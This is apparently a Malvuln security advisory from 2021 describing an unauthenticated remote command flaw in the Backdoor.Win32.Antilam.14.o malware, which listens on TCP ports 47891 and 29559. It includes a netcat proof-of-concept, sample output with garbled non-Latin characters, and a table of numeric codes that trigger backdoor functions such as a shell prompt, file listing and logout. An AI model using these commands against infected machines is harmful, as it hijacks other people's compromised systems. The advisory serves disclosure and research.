Backdoor.Win32.Antilam.14.o / Unauthenticated Remote Command Execution

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Antilam.14.o Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF. Type: PE32 MD5: 3f3ee9dce39e816b4001bd6ae66e8f1a Vuln ID: MVID-2021-0121 Dropped files: scandisk.exe Disclosure: 03/06/2021 Exploit/PoC: nc64.exe x.x.x.x 47891 001 + Enter (Gets system info) 001╧α∩Ωα Windows: C:\WINDOWS ╧α∩Ωα System: ╧α∩Ωα Temp: C:\Users\victim\AppData\Local\Temp\ ┬σ≡±ΦWindows: Windows NT 6.2 9200 ╠Φφ≤≥ Γ Windows: 15 ╚∞Ωε∞∩α: DESKTOP-3A2IQHO ╚∞■τσ≡α: victim ▀τ√Ω Windows: English (United States) ╨ατ≡σ°σφΦσ: 1554x840 NumLock: Off CapsLock: ScrollLock: Off ≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α ╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,554,454,016 ╒ε±≥: DESKTOP-3A2IQHO ╩δΦσφ≥εΓ ∩εΣΩδ■≈σφε: 7 Other commands: 004 TaskBar 007 Monitor 008 Ctrl+Alt+Del 009 ScrollLock 010 or 0xA (HEX) CapsLock 011 NumLock 012 CD-ROM 015 or 0xF(HEX) Get Date/Time 018 Mouse has been unlocked 022 Shell Experience HostCommand Prompt Promptrator) 029 lists current dir malware is running from 033 (logout the remote system) 082 exit netcat session 111 lists file C:\Users\victim\AppData\Local\Temp\scrsm.src 115 starts packman animation that eats the screen 116 stops packman animation 120 Web browser Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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